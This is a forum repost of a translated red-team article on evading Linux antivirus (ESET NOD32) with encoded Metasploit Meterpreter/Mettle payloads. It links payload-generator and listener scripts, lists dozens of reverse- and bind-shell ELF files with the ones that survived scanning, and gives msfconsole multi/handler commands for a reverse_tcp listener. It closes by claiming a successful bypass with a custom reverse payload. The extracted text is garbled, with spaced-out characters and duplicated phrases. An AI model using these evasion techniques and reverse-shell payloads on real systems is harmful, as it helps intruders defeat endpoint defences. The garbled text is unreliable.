搜索

[14177] 2019-06-01_MetasploitPayload在Linux平台的免杀

文档创建者：s7ckTeam
浏览次数：68
最后更新：2025-01-18
2019-06-01_MetasploitPayload在Linux平台的免杀 M e t a s p l o i t   P a y l o a d 在 L i n u x 平 台 的 免 杀 s e c i s t   F r e e B u f   2 0 1 9 - 0 6 - 0 1 目 前 ， 我 认 为 在 目 前 ， 我 认 为 在 L i n u x 防 病 毒 方 面 做 得 比 较 好 的 安 全 厂 商 有 防 病 毒 方 面 做 得 比 较 好 的 安 全 厂 商 有 A v a s t ， ， E s e t   和 和   K a s p e r s k y 。 当 然 ， 本 文 的 目 的 并 不 。 当 然 ， 本 文 的 目 的 并 不 是 为 了 推 广 某 个 产 品 ， 而 是 希 望 通 过 实 例 测 试 将 其 作 为 红 队 练 习 的 一 部 分 进 行 学 习 ， 并 了 解 什 么 会 被 标 记 或 是 是 为 了 推 广 某 个 产 品 ， 而 是 希 望 通 过 实 例 测 试 将 其 作 为 红 队 练 习 的 一 部 分 进 行 学 习 ， 并 了 解 什 么 会 被 标 记 或 是 通 过 （ 通 过 （ M e t a s p l o i t / M e t e r p r e t e r / M e t t l e ） 。 ） 。 因 此 ， 为 了 该 测 试 的 顺 利 进 行 ， 我 创 建 了 一 个 简 单 的 s h e l l 脚 本 生 成 器 ， 它 将 生 成 各 种 被 编 码 可 执 行 的 L i n u x   p a y l o a d s ， 我 们 将 这 些 p a y l o a d s 上 传 到 L i n u x 虚 拟 机 （ U b u n t u   1 8 . 0 4   x 8 6 _ 6 4 ） ， 并 让 已 安 装 的 A V 处 理 它 们 。 剩 下 的 部 分 是 一 些 理 论 上 可 以 工 作 并 绕 过 A V 的 内 容 ， 我 们 将 通 过 测 试 一 些 示 例 来 验 证 它 们 的 功 能 。 我 将 重 点 关 注 使 用 各 种 编 码 器 组 合 的 L i n u x     x 8 6   和   x 8 6 _ 6 4   M e t e r p r e t e r / M e t t l e   p a y l o a d s 。 s h e l l 脚 本 生 成 器 包 含 可 以 更 改 的 变 量 名 称 ， 以 使 用 喜 欢 的 组 合 和 自 动 生 成 二 进 制 文 件 的 进 程 。 确 保 将 以 下 脚 本 放 置 在 m e t a s p l o i t - f r a m e w o r k 路 径 中 ， 并 使 其 可 执 行 。 生 成 器 脚 本 位 于 ： h t t p s : / / g i t h u b . c o m / D o k t o r C r a n i u m / L i n u x - M e t e r p r e t e r - t e s t s / b l o b / m a s t e r / L i n u x - m e t e r p r e t e r - t e s t s / A V - T E S T - L I N U X . s h 运 行 脚 本 时 ， 应 输 M e t a s p l o i t - f r a m e w o r k   L I S T E N I N G   I P 地 址 和 T C P 端 口 ， 例 如 ： 在 第 一 个 测 试 场 景 中 ， 我 们 将 在 U b u n t u   1 8 . 0 4 （ x 8 6 _ 6 4 ） 上 使 用 E s e t   N O D 3 2   4 . 0 . 9 0 ：
接 着 ， 我 们 将 有 一 个 生 成 的 测 试 p a y l o a d s 的 列 表 ， 我 们 将 通 过 S C P 向 带 有 L i n u x A V 的 远 程 机 器 提 供 这 些 p a y l o a d s 。 在 我 们 的 测 试 中 ， 我 们 生 成 了 4 7 个 可 执 行 文 件 。
一 旦 我 们 上 传 了 它 们 ， A V 就 会 启 动 并 自 动 删 除 其 中 的 大 部 分 p a y l o a d s 。 - r w - r - - r - -   1   r o o t   r o o t   1 1 0 2 3 6 8   A p r   2 3   2 3 : 4 4   a a r c h 6 4 - r e v e r s e _ t c p 2 . e l f - r w - r - - r - -   1   r o o t   r o o t           3 3 2   A p r   2 3   2 3 : 4 3   a a r c h 6 4 - r e v e r s e _ t c p . e l f - r w - r - - r - -   1   r o o t   r o o t   1 0 3 0 6 6 4   A p r   2 3   2 3 : 4 4   a r m l e - r e v e r s e _ t c p 2 . e l f - r w - r - - r - -   1   r o o t   r o o t           4 6 4   A p r   2 3   2 3 : 4 4   m i p s b e - r e v e r s e _ t c p . e l f - r w - r - - r - -   1   r o o t   r o o t           4 6 4   A p r   2 3   2 3 : 4 4   m i p s l e - r e v e r s e _ t c p . e l f - r w - r - - r - -   1   r o o t   r o o t           1 6 2   A p r   2 3   2 3 : 3 9   x 6 4 - e x e c . e l f - r w - r - - r - -   1   r o o t   r o o t           1 6 2   A p r   2 3   2 3 : 3 9   x 6 4 - e x e c - x o r . e l f - r w - r - - r - -   1   r o o t   r o o t           1 9 8   A p r   2 3   2 3 : 3 9   x 6 4 - m t - b i n d _ t c p . e l f - r w - r - - r - -   1   r o o t   r o o t           2 3 9   A p r   2 3   2 3 : 3 9   x 6 4 - m t - b i n d _ t c p - x o r . e l f - r w - r - - r - -   1   r o o t   r o o t   1 0 4 6 4 7 2   A p r   2 3   2 3 : 3 9   x 6 4 - m t - r e v e r s e _ t c p 2 . e l f - r w - r - - r - -   1   r o o t   r o o t           2 4 9   A p r   2 3   2 3 : 3 8   x 6 4 - m t - r e v e r s e _ t c p . e l f - r w - r - - r - -   1   r o o t   r o o t   1 0 4 6 6 3 1   A p r   2 3   2 3 : 3 9   x 6 4 - m t - r e v e r s e _ t c p - x o r 2 . e l f - r w - r - - r - -   1   r o o t   r o o t           2 9 5   A p r   2 3   2 3 : 3 8   x 6 4 - m t - r e v e r s e _ t c p - x o r . e l f - r w - r - - r - -   1   r o o t   r o o t   1 0 4 6 4 7 2   A p r   2 3   2 3 : 3 9   x 6 4 - m t - r e v - h t t p . e l f - r w - r - - r - -   1   r o o t   r o o t   1 0 4 6 4 7 2   A p r   2 3   2 3 : 4 0   x 6 4 - m t - r e v - h t t p s . e l f - r w - r - - r - -   1   r o o t   r o o t   1 0 4 6 6 3 1   A p r   2 3   2 3 : 3 9   x 6 4 - m t - r e v - h t t p s - x o r . e l f - r w - r - - r - -   1   r o o t   r o o t   1 0 4 6 6 3 1   A p r   2 3   2 3 : 3 9   x 6 4 - m t - r e v - h t t p - x o r . e l f - r w - r - - r - -   1   r o o t   r o o t           2 0 6   A p r   2 3   2 3 : 4 0   x 6 4 - s h - b i n d _ t c p 2 . e l f - r w - r - - r - -   1   r o o t   r o o t           1 9 8   A p r   2 3   2 3 : 4 0   x 6 4 - s h - b i n d _ t c p . e l f - r w - r - - r - -   1   r o o t   r o o t           2 4 7   A p r   2 3   2 3 : 4 0   x 6 4 - s h - b i n d _ t c p - x o r 2 . e l f - r w - r - - r - -   1   r o o t   r o o t           2 3 9   A p r   2 3   2 3 : 4 0   x 6 4 - s h - b i n d _ t c p - x o r . e l f - r w - r - - r - -   1   r o o t   r o o t           2 4 9   A p r   2 3   2 3 : 4 0   x 6 4 - s h - r e v e r s e . e l f - r w - r - - r - -   1   r o o t   r o o t           1 9 4   A p r   2 3   2 3 : 4 0   x 6 4 - s h - r e v e r s e _ t c p 2 . e l f - r w - r - - r - -   1   r o o t   r o o t           2 3 9   A p r   2 3   2 3 : 4 0   x 6 4 - s h - r e v e r s e _ t c p - x o r 2 . e l f - r w - r - - r - -   1   r o o t   r o o t           2 9 5   A p r   2 3   2 3 : 4 0   x 6 4 - s h - r e v e r s e - x o r . e l f - r w - r - - r - -   1   r o o t   r o o t           1 2 2   A p r   2 3   2 3 : 4 1   x 8 6 - e x e c . e l f - r w - r - - r - -   1   r o o t   r o o t           2 5 7   A p r   2 3   2 3 : 4 1   x 8 6 - e x e c - x o r . e l f - r w - r - - r - -   1   r o o t   r o o t           1 9 4   A p r   2 3   2 3 : 4 2   x 8 6 - m t - b i n d _ t c p . e l f - r w - r - - r - -   1   r o o t   r o o t           3 2 9   A p r   2 3   2 3 : 4 1   x 8 6 - m t - b i n d _ t c p - x o r . e l f - r w - r - - r - -   1   r o o t   r o o t   1 1 0 7 5 5 6   A p r   2 3   2 3 : 4 1   x 8 6 - m t - r e v e r s e _ t c p 2 . e l f - r w - r - - r - -   1   r o o t   r o o t           2 0 7   A p r   2 3   2 3 : 4 1   x 8 6 - m t - r e v e r s e _ t c p . e l f - r w - r - - r - -   1   r o o t   r o o t   1 1 0 7 7 9 0   A p r   2 3   2 3 : 4 1   x 8 6 - m t - r e v e r s e _ t c p - x o r 2 . e l f - r w - r - - r - -   1   r o o t   r o o t           3 4 2   A p r   2 3   2 3 : 4 1   x 8 6 - m t - r e v e r s e _ t c p - x o r . e l f - r w - r - - r - -   1   r o o t   r o o t           6 1 4   A p r   2 3   2 3 : 4 3   x 8 6 - m t - r e v e r s e _ t c p - x o r . e l f . m u l t i - r w - r - - r - -   1   r o o t   r o o t   1 1 0 7 5 5 6   A p r   2 3   2 3 : 4 2   x 8 6 - m t - r e v - h t t p . e l f - r w - r - - r - -   1   r o o t   r o o t   1 1 0 7 5 5 6   A p r   2 3   2 3 : 4 2   x 8 6 - m t - r e v - h t t p s . e l f - r w - r - - r - -   1   r o o t   r o o t   1 1 0 7 7 9 0   A p r   2 3   2 3 : 4 2   x 8 6 - m t - r e v - h t t p s - x o r . e l f - r w - r - - r - -   1   r o o t   r o o t   1 1 0 7 7 9 0   A p r   2 3   2 3 : 4 2   x 8 6 - m t - r e v - h t t p - x o r . e l f - r w - r - - r - -   1   r o o t   r o o t           1 6 2   A p r   2 3   2 3 : 4 3   x 8 6 - s h - b i n d _ t c p 2 . e l f - r w - r - - r - -   1   r o o t   r o o t           1 9 4   A p r   2 3   2 3 : 4 3   x 8 6 - s h - b i n d _ t c p . e l f - r w - r - - r - -   1   r o o t   r o o t           2 9 7   A p r   2 3   2 3 : 4 3   x 8 6 - s h - b i n d _ t c p - x o r 2 . e l f - r w - r - - r - -   1   r o o t   r o o t           3 2 9   A p r   2 3   2 3 : 4 2   x 8 6 - s h - b i n d _ t c p - x o r . e l f - r w - r - - r - -   1   r o o t   r o o t           2 0 7   A p r   2 3   2 3 : 4 3   x 8 6 - s h - r e v e r s e . e l f - r w - r - - r - -   1   r o o t   r o o t           1 5 2   A p r   2 3   2 3 : 4 3   x 8 6 - s h - r e v e r s e _ t c p 2 . e l f - r w - r - - r - -   1   r o o t   r o o t           2 8 7   A p r   2 3   2 3 : 4 3   x 8 6 - s h - r e v e r s e _ t c p - x o r 2 . e l f - r w - r - - r - -   1   r o o t   r o o t           3 4 2   A p r   2 3   2 3 : 4 3   x 8 6 - s h - r e v e r s e - x o r . e l f
执 行 完 成 后 ， 我 们 会 看 到 有 一 些 文 件 被 完 整 地 保 留 了 下 来 ， 其 中 一 些 文 件 将 无 法 正 常 工 作 ， 还 有 一 些 文 件 则 仍 可 以 正 常 工 作 ， 我 们 将 在 下 一 步 进 行 测 试 … … 我 们 有 2 7 个 文 件 被 保 留 了 下 来 。
因 为 我 们 的 V M 运 行 的 系 统 是 6 4 位 的 ， 所 以 让 我 们 来 看 看 那 些 x 8 6 _ 6 4 的 p a y l o a d s 。 我 们 将 配 置 我 们 的 t e s t   L I S T E N E R （ 将 以 下 脚 本 放 置 在 m e t a s p l o i t - f r a m e w o r k 目 录 中 并 使 其 可 执 行 ） 。 h t t p s : / / g i t h u b . c o m / D o k t o r C r a n i u m / L i n u x - M e t e r p r e t e r - t e s t s / b l o b / m a s t e r / L i n u x - m e t e r p r e t e r - t e s t s / L I S T E N E R - L I N U X - M E T T L E . s h （ 并 调 整 到 测 试 的 远 程 p a y l o a d s ， 即 相 应 地 更 改 第 1 3 行 ） 如 果 我 们 要 验 证 除 m e t e r p r e t e r / r e v e r s e _ t c p 之 外 的 任 何 内 容 ， 我 们 需 要 将 l i n u x / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p 修 改 为 L I S T E N E R 中 的 相 应 的 p a y l o a d 。 以 上 适 用 于 x 6 4 - m t - r e v e r s e _ t c p - x o r 2 . e l f ， 因 为 该 平 台 为 x 6 4 ， 并 且 它 是 一 个 m e t e r p r e t e r   r e v e r s e   t c p   p a y l o a d ， 所 以 我 们 将 启 动 我 们 的 l i s t e n e r （ 请 注 意 上 述 2 个 p a y l o a d 的 差 异 ！ ） 并 使 用 E s e t   N O D 3 2   A V 在 测 试 V M 上 执 行 p a y l o a d ， 并 获 得 了 一 个 c o r e - d u m p e d 消 息 ： ） 让 我 们 试 试 其 他 x 8 6 _ 6 4 的 m y p r e t e r / m e t t l e - > x 6 4 - m t - b i n d _ t c p . e l f 这 次 我 们 使 用 l i n u x / x 6 4 / m e t e r p r e t e r / b i n d _ t c p   p a y l o a d ， 并 再 次 调 整 L I S T E N E R ， 这 次 我 们 要 为 b i n d _ t c p 添 加 一 个 远 程 I P 才 能 工 作 （ 虽 然 如 此 ） ， 但 我 们 仍 要 进 行 测 试 ， 这 次 它 可 以 工 作 。 - r w - r - - r - -   1   u s e r   u s e r   1 6 2   A p r   2 3   2 2 : 0 8   x 6 4 - e x e c - x o r . e l f - r w - r - - r - -   1   u s e r   u s e r   1 6 2   A p r   2 3   2 2 : 0 8   x 6 4 - e x e c . e l f - r w - r - - r - -   1   u s e r   u s e r   1 9 8   A p r   2 3   2 2 : 0 8   x 6 4 - m t - b i n d _ t c p . e l f - r w - r - - r - -   1   u s e r   u s e r   1 0 4 6 6 3 1   A p r   2 3   2 2 : 0 8   x 6 4 - m t - r e v - h t t p - x o r . e l f - r w - r - - r - -   1   u s e r   u s e r   1 0 4 6 6 3 1   A p r   2 3   2 2 : 0 8   x 6 4 - m t - r e v - h t t p s - x o r . e l f - r w - r - - r - -   1   u s e r   u s e r   1 0 4 6 6 3 1   A p r   2 3   2 2 : 0 8   x 6 4 - m t - r e v e r s e _ t c p - x o r 2 . e l f - r w - r - - r - -   1   u s e r   u s e r   1 9 8   A p r   2 3   2 2 : 0 8   x 6 4 - s h - b i n d _ t c p . e l f e c h o   - n   ' . / m s f c o n s o l e   - x   " u s e   e x p l o i t / m u l t i / h a n d l e r ;   s e t   P A Y L O A D   l i n u x / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p ;   s e t   L H O S T   '   >   r u n . l i s t e n e r . s h e c h o   - n   ' . / m s f c o n s o l e   - x   " u s e   e x p l o i t / m u l t i / h a n d l e r ;   s e t   P A Y L O A D   l i n u x / x 6 4 / m e t e r p r e t e r _ r e v e r s e _ t c p ;   s e t   L H O S T   '   >   r u n . l i s t e n e r . s h
但 是 ， 我 们 希 望 有 一 个 可 以 绕 过 E s e t   N O D 3 2 ， 并 且 可 以 正 常 工 作 的 r e v e r s e   m e t e r p r e t e r / m e t t l e   p a y l o a d ！ 让 我 们 尝 试 更 多 自 定 义 的 代 码 ： h t t p s : / / g i t h u b . c o m / D o k t o r C r a n i u m / L i n u x - M e t e r p r e t e r - t e s t s / b l o b / m a s t e r / L i n u x - m e t e r p r e t e r - t e s t s / L I N U X - F O R K - M E T T L E . s h 使 用 N o d 3 2 将 l i n u x - p a y l o a d 上 传 到 V M 并 运 行 l i s t e n e r 。
执 行 l i n u x - p a y l o a d 和 … 我 们 成 功 使 用 自 定 义 的 r e v e r s e   m e t t l e   p a y l o a d 绕 过 了 A V ： ） 之 前 我 提 到 过 你 可 以 为 W i n d o w s   P E 3 2 执 行 同 样 的 操 作 。 不 是 吗 ？ ： ） 现 在 你 知 道 了 ， 它 的 工 作 原 理 和 W i n d o w s 上 其 实 是 一 样 的 ， 并 且 可 以 通 过 上 面 的 脚 本 ， s c p 等 完 全 自 动 化 进 行 A V 逃 避 测 试 。 * 参 考 来 源 ： a s t r 0 b a b y ， F B 小 编 s e c i s t 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理